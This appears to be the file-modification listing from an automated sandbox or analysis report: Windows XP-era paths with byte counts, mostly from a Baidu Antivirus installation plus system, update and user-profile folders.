%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\639C9925-1C42-4236-991B-AEAB22353808\ToolSummary (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BsrScan (8 bytes)
%WinDir%\SoftwareDistribution\Download\36a2296f631a54daefcc3b56e3d990e2 (4 bytes)
%WinDir%\pchealth\helpctr\System\Remote Assistance (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\icon (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\log\strlog\av144834865612525strr.dat (34 bytes)
%WinDir%\pchealth\helpctr\Vendors\CN=Microsoft Corporation,L=Redmond,S=Washington,C=US\Remote Assistance (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update_ultimate.ini (12 bytes)
%WinDir%\SoftwareDistribution\Download\2e6b16219034e135b4f869efb7a10fee (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\sc.ini (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox (104 bytes)
%WinDir%\pchealth\helpctr\System\panels (4 bytes)
%Documents and Settings%\All Users\Start Menu\Programs (4 bytes)
%WinDir%\SoftwareDistribution\Download\6a410a1bd174bc123056d235ac4829af (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\bg (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\ieprotect\skin (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\DEF8DB04-2D26-469A-8D59-5D813E89773D\ToolSummary\icon.png.7z (4 bytes)
%WinDir%\Microsoft.NET\Framework\v4.0.30319 (1536 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\rr.dat (149 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavTray\skin (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavTray\skin (4 bytes)
%WinDir%\SoftwareDistribution\Download\022593ca08eb4cd8e9681a7116f902d9 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon (12 bytes)
C:\$Directory (2761 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\er.dat-journal (532 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\ieprotect\skin (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\temp\56540c05.qv (677 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\firsttips (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\urlConfig.ini (4 bytes)
%System%\config (204 bytes)
%WinDir%\assembly\NativeImages_v2.0.50727_32\PresentationFramewo# (4 bytes)
%WinDir%\pchealth\helpctr\System\images (4 bytes)
%WinDir%\Prefetch (8 bytes)
%WinDir%\Installer\$PatchCache$\Managed (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\temp\56540c04.qv (20 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button (12 bytes)
%WinDir%\SoftwareDistribution\Download\01229cf5dcf0df67992cac35a2ba0b3f (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\tree (4 bytes)
%WinDir%\SoftwareDistribution\Download\17e46901add634f15d293735648771e6 (4 bytes)
%WinDir%\SoftwareDistribution\Download\85947e1a809663c7f480717673587a59 (4 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Administrative Tools (4 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\ActivePerl 5.16.2 Build 1602 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon (16 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wireshark.txt (1808 bytes)
%WinDir%\assembly\GAC_32 (4 bytes)
%WinDir%\Microsoft.NET\Framework\v2.0.50727\ASP.NETWebAdminFiles\Security\Roles (4 bytes)
%Program Files%\Reference Assemblies\Microsoft\Framework\v3.0 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin\antivirus (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\ieprotect\skin (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\dump (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\investigate\skin (4 bytes)
%WinDir%\SoftwareDistribution\Download\0c1e5e0ffeb238b1ee5c9ea3a4878374 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin\antivirus (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\scrollbar (4 bytes)
%WinDir%\SoftwareDistribution\Download\b5f880834ad67f3d383ffff5f2fa46bd (4 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Antivirus\progress.dat (28 bytes)
%Program Files%\Common Files\VMware\Drivers (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\config.ini (2704 bytes)
%WinDir%\Microsoft.NET\Framework\v2.0.50727\ASP.NETWebAdminFiles\Security\Permissions (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\8A73A249-C3BE-401A-8335-A832080931D3\ToolSummary (8 bytes)
%Program Files%\Adobe\Reader 9.0\Resource\Font (4 bytes)
%Program Files%\Common Files\Microsoft Shared\OFFICE14 (4 bytes)
%WinDir%\Microsoft.NET\Framework\v4.0.30319\WPF (4 bytes)
%WinDir%\Microsoft.NET\Framework\v3.0\WPF (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\log\BavSvc.log (2280 bytes)
%WinDir%\assembly\GAC_MSIL (36 bytes)
%WinDir%\WinSxS\Policies\x86_Policy.9.0.Microsoft.VC90.ATL_1fc8b3b9a1e18e3b_x-ww_9e7eb501 (4 bytes)
%System%\config\systemprofile\Application Data\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015 (53 bytes)
%Documents and Settings%\NetworkService\Local Settings (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\8C8AEEC1-5166-4CE7-BBAD-7C37409D0C73\ToolSummary (4 bytes)
%System%\oobe\html (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\investigate\skin (4 bytes)
%WinDir%\SoftwareDistribution\Download\f0fea42f69058000617da24986c3b109 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Plugins (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\vr.dat-journal (532 bytes)
%WinDir%\assembly\NativeImages_v4.0.30319_32\PresentationFramewo# (4 bytes)
%WinDir%\Web (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\investigate\skin (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\3811A2B3-20AF-486d-81FA-8774762CC135 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\5DB281C3-B655-656A-01B6-E302199E376A\ToolSummary (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BsrScan\log\BavBsr.log (7 bytes)
%Documents and Settings%\%current user%\Favorites (4 bytes)
%WinDir%\SoftwareDistribution\Download\621a08ac003b616bcaa86aa4d4292d50 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\tools (4 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\System Tools (4 bytes)
%WinDir%\Temp\Perflib_Perfdata_144.dat (100 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\engine (4 bytes)
%Program Files%\Movie Maker (4 bytes)
%Documents and Settings%\%current user%\MY DOCUMENTS (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavTray\skin (4 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\quick launch (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_USBProtect\res\LockList\skin (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\ieprotect\skin (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\button (4 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\menu (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin (16 bytes)
%WinDir%\SoftwareDistribution\Download\c0c52c03306062533f7dcb087bfcfa6b (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\investigate\skin (4 bytes)
%WinDir%\assembly\NativeImages_v4.0.30319_32\Microsoft.VisualBas# (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_ChangeSkin\res\skin (4 bytes)
%WinDir%\SoftwareDistribution\Download\7dc26e8888d68d9e04bc52940c0f24b5 (4 bytes)
%WinDir%\pchealth\helpctr\OfflineCache (4 bytes)
%WinDir%\Microsoft.NET\Framework\v2.0.50727\ASP.NETWebAdminFiles\Security\Users (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\msgbox (4 bytes)
%WinDir%\SoftwareDistribution\Download\e0c0da396303f1dd2c82cd2ccc07020d (4 bytes)
%WinDir%\SoftwareDistribution\Download\e79028ac4f02e201b61b2c632cb0fc5e (4 bytes)
%Program Files%\Adobe\Reader 9.0\Reader\plug_ins3d (4 bytes)
C:\PROGRAM FILES (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\checkbox (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\list (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\uf.dat (375393 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin\antivirus (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_USBProtect\res\VirusList\skin\onaccess (4 bytes)
%WinDir%\Help\Tours\WindowsMediaPlayer\Img (4 bytes)
%WinDir%\Tasks (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavTray\skin (4 bytes)
%WinDir%\SoftwareDistribution\Download\e8252bbfa91fcf5afb38775b18691074 (4 bytes)
%WinDir%\SoftwareDistribution\Download\8b9a83d2cde55eb19dc502cc2dd04e0d (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavTray\skin (4 bytes)
%WinDir%\SoftwareDistribution\Download\bc81666f3868f34642e3f5adbc2719f9 (4 bytes)
%System%\config\systemprofile\Application Data\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavWl.dat (1847422 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data (601 bytes)
%Documents and Settings%\Default User\Local Settings (4 bytes)
%WinDir%\$hf_mig$ (8 bytes)
%System%\spool\XPSEP\amd64 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\button (4 bytes)
%WinDir%\ime\imjp8_1 (4 bytes)
%System%\config\default (2980 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Antivirus\userconfig.ini (31 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\radiobox (4 bytes)
%WinDir%\SoftwareDistribution\Download\c656e6c592787a464f852186d6e0b466 (4 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0 (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin\antivirus (8 bytes)
%WinDir%\SoftwareDistribution\Download\8bb5f1c638778df6b77d80bc61ffc63c (4 bytes)
%WinDir%\SoftwareDistribution\Download\b91377d1d56820d9d699c0c2dc7c8e80 (4 bytes)
%WinDir%\SoftwareDistribution\Download\30438597a812a5d1d7979088d451747f (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\onaccess\plugin (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft (4 bytes)
%Program Files%\Microsoft Office\Office14 (4 bytes)
%System%\config\SysEvent.Evt (256 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Games (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\investigate\skin (4 bytes)
%WinDir%\SoftwareDistribution\Download\ee4e3d4bf0d346e1b8fdee8197195e59 (4 bytes)
%WinDir%\SoftwareDistribution\Download\211409fc1d99b95b32fb0344cad140df (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin\antivirus (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\up.dat (149 bytes)
%WinDir%\SoftwareDistribution\Download\dffcab319e36b852e5b2d51802010a7a (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\aboutus (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\protect (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\5DB281C3-B655-656A-01B6-E302199E376A (4 bytes)
%WinDir%\SoftwareDistribution\Download\e5c5fc9bd7a4957f0a45c6db2957c5c9 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavTray\skin (4 bytes)
%WinDir%\SoftwareDistribution\Download\196fa81559690e2494e56094df51cdd8 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\DEF8DB04-2D26-469A-8D59-5D813E89773D (4 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0 (8 bytes)
%WinDir%\SoftwareDistribution\Download\906245b7f0992255b054322b77475594 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\ieprotect\skin (4 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Accessories (4 bytes)
%WinDir%\ime\imkr6_1 (4 bytes)
%System%\config\systemprofile\Application Data\MICROSOFT (4 bytes)
%WinDir%\pchealth\helpctr\System\sysinfo\graphics (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\bg (4 bytes)
%WinDir%\SoftwareDistribution\Download\248802b74506342031e926839639c729 (4 bytes)
%WinDir%\SoftwareDistribution\Download\cb88a2f03b29735db957d61a63df6504 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavTray\skin (4 bytes)
%WinDir%\Microsoft.NET\Framework\v2.0.50727\ASP.NETWebAdminFiles\Providers (4 bytes)
%WinDir%\SoftwareDistribution\Download\21156e54b0f0f47f81dab4a39e109501 (4 bytes)
%Documents and Settings%\All Users\Documents\My Music (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin\antivirus (8 bytes)
%Program Files%\Windows NT (4 bytes)
%WinDir%\SoftwareDistribution\Download\c263092dccc247f68a43cfee93ecc72d (4 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Antivirus\config.ini (162 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_feedback\skin (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\E839B20B-DE0B-461d-A3CD-769DFA88F488 (4 bytes)
%WinDir%\SoftwareDistribution\Download\da2a33b6770f970d7fe7262040f98a4f (4 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\Communications (4 bytes)
%Documents and Settings%\LocalService\LOCAL SETTINGS (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\urlConfigFileInfo.ini (4 bytes)
C:\totalcmd (4 bytes)
%Program Files%\Common Files\System (4 bytes)
%Documents and Settings%\LOCALSERVICE (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\ieprotect\skin (4 bytes)
%Program Files%\Windows Media Player (4 bytes)
%Documents and Settings%\%current user%\NTUSER.DAT (11184 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavTray\skin (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\index.dat (400 bytes)
%WinDir%\SoftwareDistribution\Download\aadd6ccc4585cbf4ee04287eb0e679df (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\ToolSummary\detail.xml.7z (4 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data (8 bytes)
%WinDir%\Microsoft.NET\Framework\v2.0.50727\CONFIG (4 bytes)
%WinDir%\SoftwareDistribution\Download\6b7f938fb3db15dab273f3f1702c318c (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\ToolFileList.xml (8 bytes)
%WinDir%\Microsoft.NET\Framework\v3.5\Microsoft .NET Framework 3.5 (384 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\button (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\investigate\skin (4 bytes)
%WinDir%\pchealth\helpctr\Config (4 bytes)
%WinDir%\msagent (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0XE5SP6P (8 bytes)
%Program Files%\Movie Maker\Shared (4 bytes)
%System%\wbem (492 bytes)
%WinDir%\SoftwareDistribution\Download\57b4b90cc3eead9f6c29b58581d03ae4 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\HipsTips.xml (1281 bytes)
%WinDir%\SoftwareDistribution\Download\21cbd3f70584651805685eba1753505f (4 bytes)
%WinDir%\SoftwareDistribution\Download\b6f4642d2b8dc03c5ce1b1a4f77b1bda (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\tr.dat-journal (532 bytes)
%WinDir%\SoftwareDistribution\Download\9460002f6d8231358fc1eb590f9b1dce (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\tree (4 bytes)
%WinDir%\SoftwareDistribution\Download\bc8ea6c22fd142de8dd67336d23310cf (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dynamicskin (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin\antivirus (8 bytes)
%System%\mui (4 bytes)
%WinDir%\REGISTRATION (4 bytes)
%System%\spool\XPSEP\i386 (4 bytes)
%WinDir%\SoftwareDistribution\Download\1c47f41cc76cde4c629564d7564f2795 (4 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft (4 bytes)
%WinDir%\Temp\Perflib_Perfdata_638.dat (4 bytes)
%WinDir%\SoftwareDistribution\Download\de81b460c3abcfc5b8494c785a5f3944 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\ieprotect\skin (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\ieprotect\skin (4 bytes)
%WinDir%\Microsoft.NET\Framework\v4.0.30319\SetupCache\Client (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\3811A2B3-20AF-486d-81FA-8774762CC135\ToolSummary (4 bytes)
%System%\wbem\Logs\wbemess.log (768 bytes)
%System%\config\systemprofile\Start Menu\Programs (4 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\index.dat (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin\antivirus (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\hr.dat (149 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\9FB78DD8-8083-4d5b-86FA-7C9AE2B224E0 (4 bytes)
%WinDir%\assembly\NativeImages_v2.0.50727_32\System.DirectorySer# (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\sysbutton (4 bytes)
%System%\drivers\bndef.sys (3073 bytes)
%WinDir%\Microsoft.NET\assembly\GAC_MSIL (28 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\09F68E66-0B2F-47f7-83AF-77569A4A63C1 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BsrScan\log\BsrScript.log (7 bytes)
%WinDir%\SoftwareDistribution\Download\9cf59263a134ab3fbbee78365a2fa5fc (4 bytes)
%WinDir%\Microsoft.NET\Framework\v2.0.50727\ASP.NETWebAdminFiles\AppConfig (4 bytes)
%System%\config\systemprofile\Start Menu\Programs\Accessories (4 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Antivirus\InstallerR.ini.dat (302 bytes)
%WinDir%\SoftwareDistribution\Download\bc529fa49cb2cb097fdf1e22d25872da (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\bg (4 bytes)
%WinDir%\Microsoft.NET\Framework\v3.0\Windows Communication Foundation (4 bytes)
%WinDir%\SoftwareDistribution\Download\e104dcd29adf1c6c473a5efad2d509be (4 bytes)
%WinDir%\Temp\Perflib_Perfdata_e30.dat (100 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\up.dat-journal (532 bytes)
%WinDir%\Microsoft.NET\assembly\GAC_32 (4 bytes)
%Documents and Settings%\%current user%\NTUSER.DAT.LOG (12760 bytes)
%WinDir%\Prefetch\BAVMSSERVICE.EXE-310186DE.pf (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\8A73A249-C3BE-401A-8335-A832080931D3\ToolSummary\icon2.png.7z (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Quarantine\res\skin (4 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Antivirus\MSPR.dat (30918 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0 (4 bytes)
%WinDir%\assembly\NativeImages_v4.0.30319_32\System.ServiceModel# (4 bytes)
%Program Files%\Common Files\Microsoft Shared\DW (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu (12 bytes)
%WinDir%\SoftwareDistribution\Download\07a96de176867bc25b7dc839d22b07e2 (4 bytes)
%WinDir%\SoftwareDistribution\Download\8cac00e8efc87d728c0261686f85c975 (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\baidu_secure\update (4 bytes)
%WinDir%\SoftwareDistribution\Download\d48a3b967ba5709df048e8f2a49cf8a6 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\scrollbar (4 bytes)
%WinDir%\assembly\NativeImages_v4.0.30319_32\System.DirectorySer# (4 bytes)
%WinDir%\SoftwareDistribution\Download\cedca0128a48437390192d906f83a717 (4 bytes)
%WinDir%\security (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\checkbox (4 bytes)
%WinDir%\SoftwareDistribution\Download\a4c07d9275eb613d842cb1e140d8a426 (4 bytes)
%WinDir%\Tasks\060184C3-9766-46a0-B258-F4518A0B2633.job (4 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\Entertainment (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\hr.dat-journal (532 bytes)
%WinDir%\SoftwareDistribution\Download\50e2c72fd814d3841e776dd2c4918260 (4 bytes)
%WinDir%\SoftwareDistribution\Download\c0e4033a7ec549e982572f0d830cf5d0 (4 bytes)
%WinDir%\SoftwareDistribution\Download\cd75fc2c9aa3d47009fe2d95c9f43154 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavTray\skin (4 bytes)
%System%\config\DEFAULT.LOG (3312 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\checkbox (4 bytes)
%Documents and Settings%\All Users\Application Data\Microsoft (8 bytes)
%WinDir%\Web\printers (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\8A73A249-C3BE-401A-8335-A832080931D3 (4 bytes)
%System%\config\systemprofile\Local Settings (4 bytes)
%WinDir%\SoftwareDistribution\Download\299840a657dd26ca3bbf3cee3ec999ba (4 bytes)
%WinDir%\SoftwareDistribution\Download\78cf8552430e25a8f24bc1e4dfb1970e (4 bytes)
%Program Files%\Internet Explorer (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\ToolSummary (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button (12 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bav_NoDisturb.fcg (929 bytes)
%WinDir%\assembly\NATIVEIMAGES_V2.0.50727_32 (28 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\rr.dat-journal (532 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\8A73A249-C3BE-401A-8335-A832080931D3\ToolSummary\icon.png (4 bytes)
%WinDir%\SoftwareDistribution\Download\f2adb0f8440e5dbd459aa6bfcaed1ba5 (4 bytes)
%Program Files%\Reference Assemblies\Microsoft\Framework\v3.5 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\investigate\skin (4 bytes)
%Program Files%\COMMON FILES (4 bytes)
%WinDir%\SoftwareDistribution\Download\23e79e5fb28793d8cb1c2055b0d8dcb9 (4 bytes)
%Documents and Settings%\All Users\Documents\My Music\Sample Playlists (4 bytes)
%WinDir%\Microsoft.NET\Framework\v2.0.50727\ASP.NETWebAdminFiles\Security\Wizard (4 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5 (4 bytes)
%System%\oobe\html\mouse (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\button (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavWl.dat-journal (3464996 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\investigate\skin (4 bytes)
%WinDir%\SoftwareDistribution\Download\abaf10b7d55d3716fbb63e0b568cb4b6 (4 bytes)
